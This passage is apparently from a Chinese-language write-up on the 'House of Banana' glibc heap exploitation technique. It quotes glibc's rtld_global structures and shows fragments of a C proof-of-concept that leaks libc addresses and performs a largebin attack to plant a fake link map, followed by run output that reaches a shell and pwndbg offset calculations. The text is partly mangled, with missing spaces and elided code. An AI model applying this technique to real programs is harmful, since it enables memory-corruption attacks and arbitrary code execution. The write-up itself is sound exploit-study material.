structrtld_global { #endif /* Don't change the order of the following elements. 'dl_loaded' must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */ #ifdef SHARED # define DL_NNS 16 #else # define DL_NNS 1 #endif EXTERN structlink_namespaces { /* A pointer to the map for the main map. */ structlink_map *_ns_loaded; /* Number of object in the _dl_loaded list. */ unsignedint _ns_nloaded; /* Direct pointer to the searchlist of the main object. */ structr_scope_elem *_ns_main_searchlist; /* This is zero at program start to signal that the global scope map is allocated by rtld. Later it keeps the size of the map. It might be reset if in _dl_close if the last global object is removed. */ unsignedint _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to be added to the global scope map. It has to be taken into account when resizing the map, for future map additions after recursive dlopen calls from ELF constructors. */ unsignedint _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to its link map. */ structlink_map *libc_map;
/* Search table for unique objects. */ structunique_sym_table { __rtld_lock_define_recursive (, lock) structunique_sym { uint32_t hashval; constchar *name; constElfW(Sym) *sym; conststructlink_map *map; } *entries; size_t size; size_t n_elements; void (*free) (void *); } _ns_unique_sym_table; /* Keep track of changes to each namespace' list. */ structr_debug _ns_debug; } _dl_ns[DL_NNS]; /* One higher than index of last used namespace. */ EXTERN size_t _dl_nns; ................................................................................. };
printf("libcBase is 0x%lx\n",libcBase); printf("rtld_global is 0x%lx\n",rtld_global);
free(p1); uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin free(p2); p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin
p2[1] = 0; p2[3] = fake;
return0; }
1 2 3 4 5 6 7
➜ 桌面 gcc ./test.c -o test -g ➜ 桌面 patchelf --set-interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so --set-rpath /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64 test ➜ 桌面 ./test libcBase is 0x7f678f5f5000 rtld_global is 0x7f678f81d060 $ whoami yhellow
这里先说一下这两个关键的偏移(“rtld_global”,“next_node”)是怎么得出来的
1 2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) 0x7ffff7ffd060->0x7ffff7fc7118 is -0x35f48 bytes (-0x6be9 words)
先计算“rtld_global”的偏移,然后“next_node”的偏移也计算出来了
这种类型的 House Of Banana 是针对“next_node”进行攻击的,利用 largebin attack 在“next_node”中写入“fake”